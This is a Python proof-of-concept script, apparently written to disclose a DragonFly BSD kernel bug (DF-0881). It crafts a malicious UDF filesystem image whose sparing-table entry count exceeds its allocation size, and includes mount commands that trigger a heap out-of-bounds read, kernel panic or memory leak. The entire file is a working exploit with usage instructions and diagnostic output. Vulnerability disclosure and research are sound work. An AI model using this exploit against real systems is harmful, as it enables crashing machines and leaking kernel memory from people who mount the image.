DF-0881 / craft_evil_udf.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | #!/usr/bin/env python3 """ DF-0881 PoC: Craft a UDF image whose Sparing Table has rt_l (entry count) NOT bounded by st_size (allocation size), triggering a heap OOB read in udf_find_partmaps() during mount. Bug: sys/vfs/udf/udf_vfsops.c:692 662: udfmp->s_table = kmalloc(pms->st_size, ...); // alloc st_size bytes 681: bcopy(bp->b_data, udfmp->s_table, pms->st_size); // copy st_size bytes (OK) 692: for (i = 0; i < udfmp->s_table->rt_l; i++) { // rt_l NOT bounded by st_size! 693: udfmp->s_table_entries = i; 694: if (udfmp->s_table->entries[i].org >= 0xfffffff0) // OOB READ of entries[i] break; } struct udf_sparing_table layout (__packed): offset 0: desc_tag (16 bytes) offset 16: regid id (32 bytes) offset 48: uint16 rt_l (entry count, from disk — UNCHECKED vs st_size) offset 50: uint16 reserved offset 52: uint32 seq_num offset 56: spare_map_entry entries[] (8 bytes each: org + map) With st_size=64: only entries[0] (offset 56, 8 bytes -> ends at 64) fits. entries[1] at offset 64 is ALREADY OOB. rt_l=65535 -> loop reads offsets 56..524328 (~512 KB) past a 64-byte kmalloc => kernel page-fault / panic, or silent heap info-leak if the OOB pages happen to be mapped. Usage: python3 craft_evil_udf.py [evil.udf] [st_size] [rt_l] Mount: vnconfig -c vn0 evil.udf ; mount -t udf -o rdonly /dev/vn0 /mnt """ import struct, sys SECTOR = 2048 ST_SIZE = int(sys.argv[2]) if len(sys.argv) > 2 else 64 RT_L = int(sys.argv[3]) if len(sys.argv) > 3 else 65535 NSEC = max(300, (ST_SIZE // SECTOR) + 300) # ensure image is large enough def tag(tid, loc, serial=0): """Build a 16-byte ECMA-167 descriptor tag with correct additive checksum.""" t = bytearray(16) struct.pack_into('<HHBBHHHI', t, 0, tid, 2, 0, 0, serial, 0, 0, loc) t[4] = 0 t[4] = sum(t[0:15]) & 0xff # cksum = sum(bytes 0..14 with byte4=0) mod 256 return bytes(t) def regid(s): """32-byte regid: flags(1) + id[23] + suffix[8].""" r = bytearray(32) b = s.encode('ascii')[:23] r[1:1+len(b)] = b return bytes(r) def pad(data, sz=SECTOR): return data + b'\x00' * (sz - len(data)) img = bytearray(NSEC * SECTOR) # ---- Sector 0: Partition Descriptor (TAGID_PARTITION = 5) ---- pd = bytearray(SECTOR) pd[0:16] = tag(5, 0) struct.pack_into('<I', pd, 16, 0) # seq_num struct.pack_into('<HH', pd, 20, 0, 0) # flags, part_num=0 # contents(32) + contents_use(128) zeroed struct.pack_into('<I', pd, 216, 1) # access_type struct.pack_into('<I', pd, 220, 32) # start_loc = sector 32 (part_start) struct.pack_into('<I', pd, 224, 200) # part_len = 200 sectors img[0:SECTOR] = pd # ---- Sector 1: Logical Volume Descriptor (TAGID_LOGVOL = 6) ---- lv = bytearray(SECTOR) lv[0:16] = tag(6, 1) struct.pack_into('<I', lv, 16, 0) # seq_num # desc_charset @20: type(1)=0, inf[63]="\0OSTA Compressed Unicode" osta = b'\x00OSTA Compressed Unicode' lv[21:21+len(osta)] = osta[:63] # logvol_id[128] @84 zeroed struct.pack_into('<I', lv, 212, SECTOR) # lb_size = 2048 lv[216:216+32] = regid('*OSTA UDF Compliant') # domain_id # _lvd_use.fsd_loc @248 : long_ad{len, lb_num, part_num, ...} struct.pack_into('<IHH', lv, 248, SECTOR, 0, 0) # FSD at part_start+0 struct.pack_into('<I', lv, 264, 64) # mt_l = 64 (one 64-byte partition map) struct.pack_into('<I', lv, 268, 1) # n_pm = 1 lv[272:272+32] = regid('DragonFly BSD') # imp_id # imp_use[128] @304 zeroed struct.pack_into('<II', lv, 432, SECTOR, 280) # integrity seq # ---- Partition map @440: Type 2 Sparable ---- P = 440 lv[P] = 2 # type = 2 (Type 2) lv[P+1] = 64 # len = UDF_PMAP_SIZE lv[P+4:P+4+32] = regid('*UDF Sparable Partition') # id struct.pack_into('<H', lv, P+36, 0) # vol_seq_num struct.pack_into('<H', lv, P+38, 0) # part_num = 0 struct.pack_into('<H', lv, P+40, SECTOR) # packet_len = 2048 (p_sectors=1) lv[P+42] = 1 # n_st = 1 sparing table struct.pack_into('<I', lv, P+44, ST_SIZE) # st_size *** (bug trigger) *** struct.pack_into('<I', lv, P+48, 34) # st_loc[0] = sector 34 (absolute) img[SECTOR:2*SECTOR] = lv # ---- Sparing table @sector 34: st_size bytes, rt_l unbounded ---- # Need ceil(ST_SIZE / SECTOR) sectors starting at 34. st_sectors = (ST_SIZE + SECTOR - 1) // SECTOR st = bytearray(st_sectors * SECTOR) st[0:16] = tag(0, 34) # sparing-table descriptor tag id=0 st[16:48] = regid('*UDF Sparing Table') struct.pack_into('<H', st, 48, RT_L) # rt_l *** UNBOUNDED vs st_size *** struct.pack_into('<H', st, 50, 0) # reserved struct.pack_into('<I', st, 52, 0) # seq_num # entries[0] @offset 56: org=0 (<0xfffffff0 so loop runs); rest of st_size zeroed struct.pack_into('<II', st, 56, 0, 0) img[34*SECTOR:34*SECTOR+len(st)] = st # ---- Sector 256: Anchor Volume Descriptor Pointer (TAGID_ANCHOR = 2) ---- av = bytearray(SECTOR) av[0:16] = tag(2, 256) struct.pack_into('<II', av, 16, 4*SECTOR, 0) # main_vds_ex: loc=0, len=8192 struct.pack_into('<II', av, 24, 4*SECTOR, 0) # reserve_vds_ex: loc=0, len=8192 img[256*SECTOR:257*SECTOR] = av out = sys.argv[1] if len(sys.argv) > 1 else 'evil.udf' with open(out, 'wb') as f: f.write(img) entries_fit = max(0, (ST_SIZE - 56) // 8) last_off = 56 + 8 * (RT_L - 1) print(f"[+] wrote {out} ({len(img)} bytes)") print(f"[+] sparing table @sector 34: st_size={ST_SIZE}, rt_l={RT_L}") print(f"[+] entries that fit in st_size: {entries_fit} (offsets 56..{56+8*entries_fit})") print(f"[+] entries[{entries_fit}] @offset {56+8*entries_fit} = first OOB (past {ST_SIZE}-byte alloc)") print(f"[+] loop reads up to entries[{RT_L-1}] @offset {last_off} ({last_off - ST_SIZE} bytes past alloc)") print(f"[+] bucket: {'kmem (page-zone)' if ST_SIZE >= 16384 else 'slab zone (128KB pages)'}") |